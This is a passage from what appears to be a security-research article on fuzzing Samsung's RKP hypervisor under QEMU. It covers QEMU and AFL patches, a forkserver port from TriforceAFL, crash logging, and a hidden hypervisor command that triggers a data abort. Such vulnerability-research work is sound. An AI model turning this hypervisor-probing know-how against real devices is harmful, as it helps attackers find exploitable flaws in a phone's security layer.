On a final note, some of the original kernel initialization routines were omitted since their action lack meaning in our framework. They were briefly introduced and interested readers can study the various `rkp_call()` kernel invocations and alter the framework state at will. Additionally, this allows the fuzzers to investigate various configuration scenarios not restricted by our own assumptions.

‑‑[ 3 ‑ Fuzzing

In this section we will be describing our approaches towards setting up fuzzing campaigns under the setup presented above. We will begin with a naive setup aiming to introduce system concepts we need to be aware and an initial interaction with QEMU source code and functionality. We will then be expanding on this knowledge, incorporating AFL in our setup for more intelligent fuzzing.

To verify the validity of the fuzzing setups presented here we evidently require a bug that would crash the system. For this purpose we will be relying on a hidden RKP command with id 0x9b. This command leads to function `sub_B0113AA8()` which, as shown in the snippet, adds our second argument (register X1) to value 0x4080000000 and uses the result as an address to store a QWORD. As you might be imagining, simply passing 0 as our second argument results in a data abort ;)

// vmm‑G955FXXU4CRJ5.elf

int64_t sub_B0113AA8(exception_frame *exc_frame)

{

*(exc_frame‑>x1 + 0x4080000000) = qword_B013E6B0; rkp_debug_log("RKP_5675678c", qword_B013E6B0, 0, 0); return 0;

}

To demonstrate the framework usage we are going to trigger this exception with a debugger attached. We start the framework and set a breakpoint in the handler from `hvc` command 0x9b at the instruction writing the QWORD to the evaluated address. Single stepping from there causes an exception, which combined with the previous information about RKP exception handlers, we can see is a synchronous exception from the same EL. Continuing execution from there we end up in the synchronous handler for data aborts (EC 0x25) which leads to `vmm_panic()` :)

(gdb) target remote :1234

_reset () at boot64.S:15

15 ldr x30, =stack_top_el3

(gdb) continue

...

Breakpoint 1, 0x00000000b0113ac4 in ?? ()

(gdb) x/4i $pc‑0x8

0xb0113abc: mov x0, #0x80000000

0xb0113ac0: movk x0, #0x40, lsl #32

=> 0xb0113ac4: str x1, [x2,x0]

0xb0113ac8: adrp x0, 0xb0116000

(gdb) info registers x0 x1 x2

x0 0x4080000000 277025390592

x1 0x0 0

x2 0x1 1

(gdb) stepi

0x00000000b010c1f4 in ?? ()

(gdb) x/20i $pc

=> 0xb010c1f4: stp x1, x0, [sp,#‑16]!

...

0xb010c234: mov x0, #0x200 // Current EL

0xb010c238: mov x1, #0x0 // Synchronous

0xb010c23c: mov x2, sp

0xb010c240: bl 0xb010aa44 // vmm_dispatch

(gdb) continue

Continuing.

Breakpoint 5, 0x00000000b010a80c in ?? () // EC 0x25 handler

(gdb) x/7i $pc

=> 0xb010a80c: mov x0, x22

0xb010a810: mov x1, x21

0xb010a814: mov x2, x19

0xb010a818: adrp x3, 0xb0115000

0xb010a81c: add x3, x3, #0x4d0

0xb010a820: bl 0xb010a4cc // vmm_panic

‑‑‑‑[ 3.1 ‑ Dummy fuzzer

To implement the dummy fuzzer we decided to abuse `brk` instruction, which generates a Breakpoint Instruction exception. The exception is recorded in in ESR_ELx and the value of the immediate argument in the instruction specific syndrome field (ESR_ELx.ISS, bits[24:0]). In QEMU, this information is stored in `CPUARMStame.exception` structure as shown in the following snippet.

// qemu/target/arm/cpu.h

typedef struct CPUARMState {

...

/* Regs for A64 mode. */

uint64_t xregs[32];

...

/* Information associated with an exception about to be taken:

* code which raises an exception must set cs‑>exception_index and * the relevant parts of this structure; the cpu_do_interrupt function * will then set the guest‑visible registers as part of the exception * entry process.

*/

struct {

uint32_t syndrome; /* AArch64 format syndrome register */

...

} exception;

...

}

`arm_cpu_do_interrupt()` function handles the exceptions in QEMU and we can intercept the `brk` invocation by checking `CPUState.exception_index` variable as shown in (23). There we can introduce our fuzzing logic and setup the system state with our fuzzed values for the guest to access as discussed next. Finally, to avoid actually handling the exception (calling the exception vector handle, changing ELs etc.) which would disrupt our program flow, we simply advance `pc` to the next instruction and return from the function. This effectively turns `brk` into a fuzzing instruction.

// qemu/target/arm/helper.c

/* Handle a CPU exception for A and R profile CPUs.

...

*/

void arm_cpu_do_interrupt(CPUState *cs)

{

ARMCPU *cpu = ARM_CPU(cs);

CPUARMState *env = &cpu‑>env;

...

// Handle the break instruction

if (cs‑>exception_index == EXCP_BKPT) { /* (23) */

handle_brk(cs, env);

env‑>pc += 4;

return;

}

...

arm_cpu_do_interrupt_aarch64(cs);

...

}

We utilize syndrome field as a function identifier and specifically immediate value 0x1 is used to call the dummy fuzzing functionality. There are numerous different harnesses that can be implemented here. In our demo approach we only use a single argument (via X0) which points to a guest buffer where fuzzed data could be placed. The framework registers, hence arguments which will be passed to EL2 by `rkp_call_fuzz` after calling `__break_fuzz()` are set by our harness in function `handle_brk()`.

// framework/main.c

void el1_main(void) {

framework_rkp_init();

rkp_call(RKP_DEF_INIT, 0, 0, 0, 0, 0);

for(; ;){ // fuzzing loop

__break_fuzz(); // create fuzzed values

rkp_call_fuzz(); // invoke RKP

}

}

// framework/util.S

__break_fuzz:

ldr x0, =rand_buf

brk #1

ret

ENDPROC(__break_fuzz)

rkp_call_fuzz:

hvc #0

ret

ENDPROC(rkp_call_fuzz)

We will not be presenting complex harnesses here since this is beyond the scope of this article and will be left as exercise for the reader. We will, however, be describing a simple harness to fuzz RKP commands. Moreover, since most RKP handlers expect the second argument (X1 register) to point to a valid buffer we will be using `rand_buf` pointer as shown above for that purpose.

The logic should be rather straightforward. We get a random byte (24), at the end place it in X0 (25) and as a result will be used as the RKP command index. Next, we read a page of random data and copy it to the guest buffer `rand_buf` (using function `cpu_memory_rw_debug()`) and use it as the second argument by placing the buffer address in X1 (26).

// qemu/target/arm/patch.c

int handle_brk(CPUState *cs, CPUARMState *env)

{

uint8_t syndrome = env‑>exception.syndrome & 0xFF;

int l = 0x1000;

uint8_t buf[l];

switch (syndrome) {

case 0: // break to gdb

if (gdbserver_running()) { qemu_log_mask(CPU_LOG_INT, "[!] breaking to gdb\n"); vm_stop(RUN_STATE_DEBUG);

}

break;

case 1: ; // dummy fuzz

uint8_t cmd = random() & 0xFF; /* (24) */

/* write random data to buffer buf */

/*

* Write host buffer buf to guest buffer pointed to * by register X0 during brk invocation */

if (cpu_memory_rw_debug(cs, env‑>xregs[0], buf, l, 1) < 0) { fprintf(stderr, " Cannot access memory\n"); return ‑1;

}

fuzz_cpu_state.xregs[0] = 0x83800000 | (cmd << 12); fuzz_cpu_state.xregs[1] = env‑>xregs[0];

env‑>xregs[0] = fuzz_cpu_state.xregs[0]; /* (25) */

env‑>xregs[1] = fuzz_cpu_state.xregs[1]; /* (26) */

break;

default:

;

}

return 0;

}

As you might expect after compiling the modified QEMU and executing the fuzzer, nothing happens! We elaborate more on this next.

‑‑‑‑‑‑[ 3.1.1 ‑ Handling Aborts

Since this is a bare metal implementation there is nothing to "crash". Once an abort happens, the abort exception handler is invoked and both our framework and RKP ends up in an infinite loop. To identify aborts we simply intercept them in `arm_cpu_do_interrupt()` similarly with `brk`.

// qemu/target/arm/helper.c

void arm_cpu_do_interrupt(CPUState *cs)

{

...

// Handle the instruction or data abort

if (cs‑>exception_index == EXCP_PREFETCH_ABORT || cs‑>exception_index == EXCP_DATA_ABORT ) {

if(handle_abort(cs, env) == ‑1) { qemu_system_shutdown_request(SHUTDOWN_CAUSE_HOST_ERROR); }

// reset system

qemu_system_reset_request(SHUTDOWN_CAUSE_HOST_QMP_SYSTEM_RESET); }

...

}

When a data or instruction abort exception is generated, we create a crash log in `handle_abort()` and then request QEMU to either reset and restart fuzzing or terminate if `handle_abort()` fails which essentially terminates fuzzing as we can not handle aborts. We use QEMU functions to dump the system state such as the faulting addresses, system registers, and memory dumps in text log files located in directory crashes/.

int handle_abort(CPUState *cs, CPUARMState *env)

{

FILE* dump_file;

if (open_crash_log(&dump_file) == ‑1) return ‑1;

const char *fmt_str = "********* Data\\Instruction abort! *********\n" "FAR = 0x%llx\t ELR = 0x%llx\n" "Fuzz x0 = 0x%llx\t Fuzz x1 = 0x%llx\n";

fprintf(dump_file, fmt_str, env‑>exception.vaddress,

env‑>pc,

fuzz_cpu_state.xregs[0],

fuzz_cpu_state.xregs[1]);

fprintf(dump_file, "\n********** CPU State **********\n"); cpu_dump_state(cs, dump_file, CPU_DUMP_CODE); fprintf(dump_file, "\n********** Disassembly **********\n"); target_disas(dump_file, cs, env‑>pc‑0x20, 0x40); fprintf(dump_file, "\n********** Memory Dump **********\n"); dump_extra_reg_data(cs, env, dump_file);

fprintf(dump_file, "\n********** End of report **********\n");

fclose(dump_file);

return 0;

}

A sample trimmed crash log is presented below. We can see that the faulting command is 0x8389b000 (or command index 0x9b ;) the faulting address and the code were the abort happened. You can create your own logs by executing the dummy fuzzer ;)

********** Data\Instruction abort! **********

FAR = 0x41000c5000 ELR = 0xb0113ac4

Fuzz x0 = 0x8389b000 Fuzz x1 = 0x800c5000

********** CPU State **********

PC=00000000b0113ac4 X00=0000004080000000 X01=0000000000000000 X02=00000000800c5000 X03=0000000000000000 X04=0000000000000000 ....

X29=00000000b0142e70 X30=00000000b010d294 SP=00000000b0142e70 PSTATE=600003c9 ‑ZC‑ NS EL2h

********** Disassembly **********

0xb0113abc: d2b00000 movz x0, #0x8000, lsl #16 0xb0113ac0: f2c00800 movk x0, #0x40, lsl #32

0xb0113ac4: f8206841 str x1, [x2, x0]

0xb0113ac8: f0000000 adrp x0, #0xb0116000

0xb0113acc: 911ac000 add x0, x0, #0x6b0

********** Memory Dump **********

...

X00: 0x0000004080000000

000000407fffff60: Cannot access memory

...

X02: 0x00000000800c5000

...

00000000800c4fe0: 0x0000000000000000 0x0000000000000000 00000000800c4ff0: 0x0000000000000000 0x0000000000000000 00000000800c5000: 0x21969a71a5b30938 0xc6d843c68f2f38be 00000000800c5010: 0xd7a1a2d7948ffd7e 0x42793a9f98647619 00000000800c5020: 0x87c01b08bb98d031 0x1949658c38220d4d

...

********** End of report **********

‑‑‑‑‑‑[ 3.1.2 ‑ Handling Hangs

RKP has two functions that lead to system hangs; `rkp_policy_violation()` and `vmm_panic()`. The former is used when RKP unsupported exceptions or exception classes are triggered, while the latter aligns better with the `assert()` function logic.

Since there are only two functions with these characteristics we can simply reset the system if they are ever executed. This is done in QEMU function `cpu_tb_exec()` which is responsible for emulating the execution of a single basic block. When they are identified via their address, the system is reset as with the abort case presented above, without however creating a crash log file.

Evidently, this is not an optimal approach and does not scale well. We will be providing a better solution in the setup with AFL described next.

// qemu/accel/tcg/cpu‑exec.c

/* Execute a TB, and fix up the CPU state afterwards if necessary */

static inline tcg_target_ulong cpu_tb_exec(CPUState *cpu,

TranslationBlock *itb)

{

CPUArchState *env = cpu‑>env_ptr;

...

if (env‑>pc == 0xB010DBA4) { // rkp_policy_violation

qemu_log("[!] POLICY VIOLATION!!! System Reset!\n"); qemu_system_reset_request(SHUTDOWN_CAUSE_HOST_QMP_SYSTEM_RESET); }

if (env‑>pc == 0xB010A4CC) { // vmm_panic

qemu_log("[!] VMM PANIC!!! We should not be here!!!\n"); qemu_system_reset_request(SHUTDOWN_CAUSE_HOST_QMP_SYSTEM_RESET); }

...

}

‑‑‑‑[ 3.2 ‑ AFL with QEMU full system emulation

One of the major problems encountered during this work was QEMU changing rapidly. This caused various tools to become obsolete, unless teams were dedicated porting them to newer versions fixing various problems introduced by the modified QEMU code. With this in mind, we will first introduce problems stemming from this situation and previous work on full system emulation. We will then proceed with the proposed solution.

‑‑‑‑‑‑[ 3.2.1 ‑ Introduction

As mentioned before, we chose the latest stable QEMU v4.1.0 and AFL v2.56b. The first step was to port AFL to the target QEMU version. The patch itself is rather straightforward, so we will not be presenting details here. Refer to the attached afl‑2.56‑qemu‑4.1.0‑port/readme for more details. Note that to remove the QEMU directory from the AFL subfolder, we included in AFL header files config.h and afl‑types.h in the patch. As a result, to avoid any unexpected behaviors theses files must be kept in sync between AFL and QEMU.

After applying the patches and building QEMU and copying the resulting binary in AFL directory as `afl‑qemu‑trace`, we invoke AFL with QEMU in the old fashioned way:

$ ./afl‑fuzz ‑Q ‑i in ‑o out /usr/bin/readelf ‑a @@

We will briefly explain some QEMU/AFL key points to help understand the modified version. With QEMU the forkserver practically runs inside QEMU, starts when the ELF entry point is encountered and is kept in sync with AFL via pipes. When AFL instructs forkserver to run once, the forkserver (parent) clones itself, writes the QEMU child (child) pid to AFL and allows the child to execute free. AFL sets a child execution watchdog which will terminate the child if triggered. While the child runs it updates the AFL bitmap (`afl_maybe_log()`) and reports blocks that have not been translated yet back to the parent (`afl_request_tsl()`) who waits in a read loop (`afl_wait_tsl()`). Once a new block is encountered the parent mirrors the translation and avoid re‑translation for future children which significantly improves fuzzing performance (interested readers can also check [07]). Upon termination/crash/exit of the child, parent exits the wait loop, reports back to AFL and awaits AFL to order a new execution.

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑

| AFL | | Qemu Parent | | Qemu Child |

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑

| .

init_forkserver .

| .

fork/exec ‑‑‑‑‑‑‑‑‑‑‑‑> afl_setup . | (entry point) .

setitimer |

| |

read <‑‑‑‑+ |

(block) | afl_forkserver .

| | |

| +‑‑unblock‑‑‑ write .

| | <

run_target +‑‑‑‑‑‑‑> read . |

| | (block) . |

| | |

write ‑‑unblock‑‑+ | .

| |

read <‑‑‑‑+ fork ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> run |

(block) | |

| | |

| +‑‑unblock‑‑‑ write afl_maybe_log | |

setitimer (child pid) | | |

| |

read <‑‑‑‑‑+ |

(block) | |

| | afl_wait_tsl/read <‑‑‑‑‑ afl_request_tsl | | | | (loop block) write | |

| | |

do stuff | |

| | waitpid() <‑‑‑+ | |

| | | terminate |

| | | exit |

| | | crash |

| +‑‑unblock‑‑‑ write |

| (child status) |

| |

| +‑‑‑‑‑repeat‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Our approach is based on TriforceAFL [08] whose goal was to fuzz the Linux kernel. We are going to provide a brief overview but skip various details, because as aforementioned TriforceAFL is based on old QEMU (2.3.0) and AFL (2.06b) versions, currently does not build and the project seems to be abandoned. Furthermore, Linux kernel is vastly more complex compared to our framework and the targeted hypervisor and for this reason different hashing algorithm for the bitmap was used, which is not required here. Additionally, the target in this article is an ARM binary and executes on different level (EL2) from the Linux kernel (EL1). Nonetheless, interested readers may refer to the project source code, documentation [09] and slides for additional details.

In short, they introduced an instruction as a handler to dispatch operations to 4 different functions called "hypercalls", all handled by QEMU. The parent executes normally and boots the VM until the first hypercall `startForkServer` is encountered which causes the forkserver to be instantiated. The parent/forkserver the spawns a child guest which then invokes hypercall `getWork` to fetch the new testcase from the host to the guest VM and then hypercall `startWork` to enable tracing and set the address region to be traced. If the child does not crash, it terminates by calling hypercall `endWork` to force the child QEMU to exit. These "hypercalls" are invoked from a custom Linux kernel driver.

As stated in TriforceAFL, getting forkserver to work was one of the most difficult parts. QEMU full system emulation uses 3 threads; CPU, IO and RCU. Their solution was to have `startForkServer` hypercall set a flag which causes CPU thread (vCPU) to exit the CPU loop, save some state information, notify the IO thread and exit. IO thread then receives the notification and starts the forkserver by forking itself. The child IO thread then spawns a new vCPU thread which restores its state from the previous vCPU saved information and continues execution cleanly from `startForkServer`. Basically, the forkserver is the IO thread (whose vCPU thread has now terminated) and each new fork child spawns a new vCPU thread (with information from the parent vCPU saved state) to do the CPU emulation.

Finally, AFL was edited to increase the QEMU parent/child memory limit MEM_LIMIT_QEMU because full system emulation has larger memory requirements compared to user mode emulation, especially for emulating Linux kernel. Furthermore, during the AFL `init_forkserver()` fork, a timer controlled by FORK_WAIT_MULT defined value is set in AFL to avoid blocking in read indefinitely in case forkserver in parent fails. This value was increased, because during this step the parent initializes the guest VM until `startForkServer` hypercall is reached, which might be time consuming. Last but not least, mode enabled by argument ‑QQ was introduced to allow user to specify the QEMU binary path instead of using `afl‑qemu‑trace`.

Our approach relies heavily on TriforceAFL as mentioned before. We decided to skip the TriforceAFL implementation details due to the vast QEMU differences, however we recommend readers to study the TriforceAFL [08] implementation and documentation.

‑‑‑‑‑‑[ 3.2.2 ‑ Implementation

First we are going to go over the AFL diff which is the most brief since we only modified afl‑fuzz.c and config.h and we do not deviate much from TriforceAFL. The QEMU parent/child memory limits have been commented out since our framework emulation has much larger memory requirements in comparison. Secondly, to disable QEMU chaining feature which affects AFL stability, AFL normally sets environmental variable "QEMU_LOG" to "nochain" (see qemu/linux‑user/main.c for details) before invoking QEMU in user mode. This option however is not honored in full system emulation and as a result QEMU option `‑d nochain` _must_ be specified during QEMU full system emulation invocation. Lastly, users must set the various system configurations AFL requires such as disabling the CPU frequency scaling and external core dump handling utilities. We invoke the fuzzer with our setup as:

$ AFL_SKIP_CPUFREQ=1 AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES=1 \

./afl‑fuzz ‑QQ ‑i in ‑o out \

<path‑to‑qemu>/aarch64‑softmmu/qemu‑system‑aarch64 \

‑machine virt

‑cpu cortex‑a57 \

‑smp 1

‑m 3G

‑kernel kernel.elf \

‑machine gic‑version=3 \

‑machine secure=true \

‑machine virtualization=true \

‑nographic

‑d nochain

‑afl_file @@

‑‑‑‑‑‑‑‑[ 3.3.2.1 ‑ QEMU patches

At this point we will be providing details regarding the QEMU patches to support full system AFL fuzzing since as mentioned before, even though the main idea persists, there are many differences compared to the original TriforceAFL implementation mainly due to vast QEMU differences between the versions. The first difference is that we utilized `brk` to introduce hypercalls instead of introducing a new instruction.

// qemu/target/arm/patch.c

int handle_brk(CPUState *cs, CPUARMState *env)

{

...

switch (syndrome) {

...

case 3:

return start_forkserver(cs, env, env‑>xregs[0]); case 4:

return get_work(cs, env, env‑>xregs[0], env‑>xregs[1]); case 5:

return start_work(cs, env, env‑>xregs[0], env‑>xregs[1]); case 6:

return done_work(env‑>xregs[0]);

default:

;

}

return 0;

}

To better demonstrate the setup we provide the following diagram and each step will be explained next. Readers are also advised to compare this with the original AFL/QEMU diagram presented previously.

+‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑

| Qemu Parent | | Qemu Parent | | Qemu Child | | Qemu Child | | IO thread | | vCPU thread | | IO thread | | vCPU thread |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑

| .

initialize . .

QEMU . .

| .

(27) start vCPU ‑‑‑‑‑> thread entry point . .

| |

do stuff <‑+ tcg_register_thread (28) . .

| | |

+‑‑‑‑‑‑‑+ |

| main execution loop . . | execute guest VM . . | until start_forkserver . .

| (29) . .

| |

| |

| start_forkserver . .

| |

| set afl_wants_cpu_to_stop . .

| (30) . .

| |

| save vCPU state . .

| (31) . .

| |

| +‑‑ notify . .

| | IO thread . .

| | (32) . .

| | |

got_pipe_notification <‑‑+ exit . .

| |

afl_forkserver (33) X . .

|

write(unblock AFL) .

|

+‑> read(from AFL, block) .

| |

| fork ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> restore vCPU state .

| | 34) .

| |

| | start ‑‑> thread entry point

| | vCPU (35) |

| |

| | tcg_register_thread

| | 36)

| |

| write | getWork

| (child pid to AFL) |

| | do stuff |

repeat ... | startWork

| |

| |

| afl_wait_tsl <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ afl_maybe_log

| (37) |

| | |

| | +‑afl_request_tsl

| waitpid <‑‑‑‑‑‑‑‑‑‑‑+ 38)

| | |

| | |

| write | crash

| (child status to AFL) +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ endWork

| |

+‑‑‑‑‑‑‑‑‑+

During system initialization, vCPU is instantiated (27) by IO thread in a manner dependent on the system configuration. Our setup uses Multithread Tiny Coge Generator (MTTCG) which allows the host to run one host thread per guest vCPU. Note that we are using a single core/thread and as a result there is a single vCPU thread in our setup.

The vCPU thread entry point for MTTCG configuration is function `qemu_tcg_cpu_thread_fn()` under qemu/cpus.c where, after some initializations, vCPU enters its main execution loop (29)‑(40). In a high level of abstraction, execution loop comprises two steps; translating basic blocks (function `tb_find()`) and executing them (function `cpu_tb_exec()`).

As mentioned before, we allow the QEMU parent to execute free and initialize the guest VM until `start_forkserver` hypercall is invoked. As a result, each forkserver child will start with a _fully initialized VM_ right before the targeted functionality significantly improving fuzzing performance.

// qemu/cpus.c

/* Multi‑threaded TCG

*

* In the multi‑threaded case each vCPU has its own thread. The TLS * variable current_cpu can be used deep in the code to find the * current CPUState for a given thread.

*/

static void *qemu_tcg_cpu_thread_fn(void *arg)

{

CPUState *cpu = arg;

...

tcg_register_thread(); 39) */

do {

...

r = tcg_cpu_exec(cpu); /* 40) */

...

} while ((!cpu‑>unplug || cpu_can_run(cpu)) /* (41) */

&& !afl_wants_cpu_to_stop);

if(afl_wants_cpu_to_stop) {

...

if(write(afl_qemuloop_pipe[1], "FORK", 4) != 4) /* (42) */

perror("write afl_qemuloop_pip");

...

restart_cpu = (&cpus)‑>tqh_first; /* (43) */

...

}

...

return NULL;

}

When during the execution `start_forkserver()` hypercall is invoked, global flag `afl_wants_cpu_to_stop` is set (30)‑(44) ultimately breaking the vCPU main execution loop. There are various reasons that could cause the system to reach this state so after the main loop we check flag `afl_wants_cpu_to_stop` to decide whether vCPU must terminate (41). Finally we save the vCPU state (31)‑(43), notify IO thread (32)‑(42) and terminate the vCPU thread.

// qemu/target/arm/patch.c

target_ulong start_forkserver(CPUState* cs, CPUARMState *env, ...) {

...

/*

* we're running in a cpu thread. we'll exit the cpu thread * and notify the iothread. The iothread will run the forkserver * and in the child will restart the cpu thread which will continue * execution.

*/

afl_wants_cpu_to_stop = 1; /* (44) */

return 0;

}

Parent IO thread becomes the forkserver in the notification handling function `got_pipe_notification()` (33)‑(45). In the fork child (which is the child QEMU IO thread) we reset the vCPU state (34)‑(46) and start a new vCPU thread for the child process (35)‑(47). (don't forget to comment out the `madvise(..., DONTFORK)` invocation ;)

// qemu/cpus.c

static void got_pipe_notification(void *ctx)

{

...

afl_forkserver(restart_cpu); /* (45) */

/* we're now in the child! */

(&cpus)‑>tqh_first = restart_cpu; /* (46) */

qemu_tcg_init_vcpu(restart_cpu); /* (47) */

}

Finally, for MTTCG all TCG threads must register their context before starting translation (36)‑(39) as part of their initialization process mentioned before. As shown next, each thread registers its context in `tcg_ctxs` array in an incremental fashion and assigns it to thread local variable `tcg_ctx`. It is obvious that the system was not designed with a forkserver in mind, where vCPU thread is respawned and trying to register a new context for the forkserver children will fail. However, since we use a single thread and we can simply bypass this by patching function `tcg_register_thread()` to always set `tcg_ctx` to the first array entry after the first invocation.

// qemu/tcg/translate‑all.c

__thread TCGContext *tcg_ctx;

// qemu/tcg/tcg.c

void tcg_register_thread(void)

{

static bool first = true;

if (!first) {

tcg_ctx = tcg_ctxs[0];

return;

}

first = false;

...

*s = tcg_init_ctx;

...

/* Claim an entry in tcg_ctxs */

n = atomic_fetch_inc(&n_tcg_ctxs);

g_assert(n < ms‑>smp.max_cpus);

atomic_set(&tcg_ctxs[n], s);

tcg_ctx = s;

...

}

‑‑‑‑‑‑‑‑[ 3.3.2.2 ‑ Framework support

Let's now demonstrate how to reach the state where forkserver is up and running via the framework. After the framework initialization we call `__break_start_forkserver()` from EL1 (48) which in turn calls `brk` with instruction specific syndrome 3 which corresponds to the `start_forkserver` hypercall. This eventually causes the forkserver to be started in the parent QEMU process as discussed above.

Each new child QEMU process, will resume guest VM execution in its vCPU at the instruction immediately following `__break_start_forkserver()` in a guest VM state identical to the one the parent process had before instantiating the forkserver. For example, in our setup the child will continue in (49) invoking the `get_work` hypercall to fetch the test case from the host (technically it will resume from `ret` instruction after `brk #3` in `__break_start_forkserver()` function but you get the idea ;).

// framework/main.c

void el1_main(void) {

framework_rkp_init();

rkp_call(RKP_DEF_INIT, 0, 0, 0, 0, 0);

__break_start_forkserver(0); /* (48) */

/* fuzzing loop */

for(; ;){

__break_get_work(); 49) */

__break_start_work();

rkp_call_fuzz_afl((*(uint64_t*)(&rand_buf)), &rand_buf); /* (50) */

__break_end_work(0);

}

}

// framework/afl.S

__break_start_forkserver:

brk #3

ret

ENDPROC(__break_start_forkserver)

__break_get_work:

ldr x0, =rand_buf

mov x1, 0x1000

brk #4

ret

ENDPROC(__break_get_work)

__break_start_work:

mov x0, #RKP_VMM_START

add x1, x0, #RKP_VMM_SIZE

brk #5

ret

ENDPROC(__break_start_work)

rkp_call_fuzz_afl:

hvc #0

ret

ENDPROC(rkp_call_fuzz_afl)

__break_end_work:

// x0 is the exit value

brk #6

ret

ENDPROC(__break_end_work)

For demonstration purposes and to verify that the fuzzer works as expected, we will be using the same fuzzing harness as with the dummy fuzzer to fuzz the `hvc` command ids. If everything works as expected we should have at least one crash by invoking command 0x9b.

As mentioned above, framework function `__break_get_work()` (49) invokes qemu `get_work` hypercall (51). There, the child QEMU reads the AFL created test case and copies its contents in guest VM `rand_buf`. In the next step, `__break_start_work()` framework function invokes `start_work` hypercall (52) which sets the child process to only track and edit the AFL bitmap for addresses in the RKP range.

// qemu/target/arm/patch.c

static target_ulong get_work(CPUState *cs, CPUARMState *env, /* (51) */

target_ulong guest_ptr, target_ulong sz) {

int l = 0x1000;

uint8_t buf[l];

assert(afl_start == 0);

fp = fopen(afl_file, "rb");

if(!fp) {

perror(afl_file);

return ‑1;

}

fread(buf, l, 1, fp); // must add checks

if (cpu_memory_rw_debug(cs, guest_ptr, buf, l, 1) < 0) { fprintf(stderr, " Cannot access memory\n"); return ‑1;

}

fclose(fp);

return retsz;

}

static target_ulong start_work(CPUState *cs, CPUArchState *env, /* (52) */

target_ulong start, target_ulong end)

{

afl_start_code = start;

afl_end_code = end;

afl_start = 1;

return 0;

}

The initial testcase provided to AFL must execute without crashing. For that we use command id 0x98 which as shown in the snippet simply writes in the debug log and exits. At long last, we can invoke and fuzz the `hvc` handler. We read the first QWORD (50) from the provided test case as the command id and simply use `rand_buf` as the second argument as discussed in the dummy fuzzer harness.

// vmm‑G955FXXU4CRJ5.elf

void rkp_main(uint64_t command, exception_frame *exception_frame) {

...

switch ( hvc_cmd )

{

...

case 0x98:

rkp_debug_log("RKP_a3d40901", 0, 0, 0); // CFP_JOPP_INIT

break;

...

However, not long after the `hvc` invocation our system crashes. The problem lies in the basic block translations performed by the QEMU parent process as we elaborate on in the next section.

‑‑‑‑‑‑‑‑[ 3.3.2.3 ‑ Handling parent translations

For QEMU to perform basic block translations for ARM architectures, it uses `mmu_idx` to distinguish translation regimes, such as Non‑Secure EL1 Stage 1, Non‑Secure EL1 Stage 2 etc. (for more details refer to ARMMMUIdx enum definition under qemu/target/arm/cpu.h). As shown below, to evaluate the current `mmu_idx` it relies on the current CPU PSTATE register (53). This process is normally performed by the vCPU thread during the guest VM emulation.

// qemu/target/arm/helper.c

int cpu_mmu_index(CPUARMState *env, bool ifetch)

{

return arm_to_core_mmu_idx(arm_mmu_idx(env));

}

ARMMMUIdx arm_mmu_idx(CPUARMState *env)

{

int el;

...

el = arm_current_el(env);

if (el < 2 && arm_is_secure_below_el3(env)) { return ARMMMUIdx_S1SE0 + el;

} else {

return ARMMMUIdx_S12NSE0 + el;

}

}

// qemu/target/arm/cpu.h

static inline int arm_current_el(CPUARMState *env)

{

...

if (is_a64(env)) {

return extract32(env‑>pstate, 2, 2); /* (53) */

}

...

}

As earlier discussed, in QEMU/AFL when a child process encounters a basic block previously not translated, it instructs (38)‑(55) the parent to mirror the basic block translation process (37)‑(57) so that next children will have cached copies to avoid re‑translation and improve performance [07]. To achieve this, the child sends (55) the current pc address along with other information for the parent to perform the translation (57) _within its own CPU state_. Moreover, in our setup the parent translation is performed by the IO thread because vCPU thread is terminated during the forkserver instantiation. The problem of course lies in a state inconsistency between the child and the parent.

We will demonstrate the state inconsistency via an example. When the parent becomes the forkserver in our setup/framework it is executing in EL1. While the child process executes, its vCPU will emulate the `hvc` invocation, change its state to EL2 to continue with the emulation of the hypervisor code and almost certainly encounter new basic blocks. As mentioned above, it will instruct the parent to do the translation as well. As there is no way for the parent to be aware of the child state changes it will remain in EL1. It should be obvious now that when the parent tries to translate the EL2 basic blocks while being in EL1 will fail.

So the child must also send its PSTATE (54) which the parent uses to set its own PSTATE (56) and then perform the translation correctly.

// qemu/accel/tcg/cpu‑exec.c

static inline TranslationBlock *tb_find(CPUState *cpu, ...)

{

...

if (tb == NULL) {

...

CPUArchState *env = (CPUArchState *)cpu‑>env_ptr; /* (54) */

pstate = env‑>pstate;

/*

* AFL_QEMU_CPU_SNIPPET1 is a macro for

* afl_request_tsl(pc, cs_base, flags, cf_mask, pstate); */

AFL_QEMU_CPU_SNIPPET1; /* (55) */

...

}

...

}

// qemu/afl‑qemu‑cpu‑inc.h

void afl_wait_tsl(CPUState *cpu, int fd) {

...

CPUArchState *env = (CPUArchState *)cpu‑>env_ptr;

while (1) { // loop until child terminates

...

env‑>pstate = t.pstate; /56) */

tb = tb_htable_lookup(cpu, t.pc, t.cs_base,

t.flags, t.cf_mask); /* (57) */

...

}

...

}

Furthermore, as stated above the parent process is originally in EL1 during the forkserver instantiation. However, the child can terminate (hopefully) during execution in other ELs. In this case, the parent might be left in the EL the child was during the crash (if new basic blocks were encountered before crashing) and consequently the next fork child will also be in that EL. However, as previously discussed each child resumes execution right after `__break_start_forkserver()` in EL1 and as a result of being in a different EL, translations will fail causing the child to crash. For this reason, we save the original state before the forkserver initialization (58) and restore it before forking the each next child (59).

void afl_forkserver(CPUState *cpu) {

...

CPUArchState *env = (CPUArchState *)cpu‑>env_ptr;

afl_fork_pstate = env‑>pstate; /* (58) */

...

/* forkserver loop */

while (1) {

env‑>pstate = afl_fork_pstate; /* (59) */

...

child_pid = fork();

...

if (!child_pid) {

/* Child process */

...

}

/* Parent */

...

afl_wait_tsl(cpu, t_fd[0]);

...

}

}

Before executing we need to address some issues previously encountered, namely how to handle aborts, policy violations etc.

‑‑‑‑‑‑‑‑[ 3.3.2.4 ‑ Handling hangs and aborts

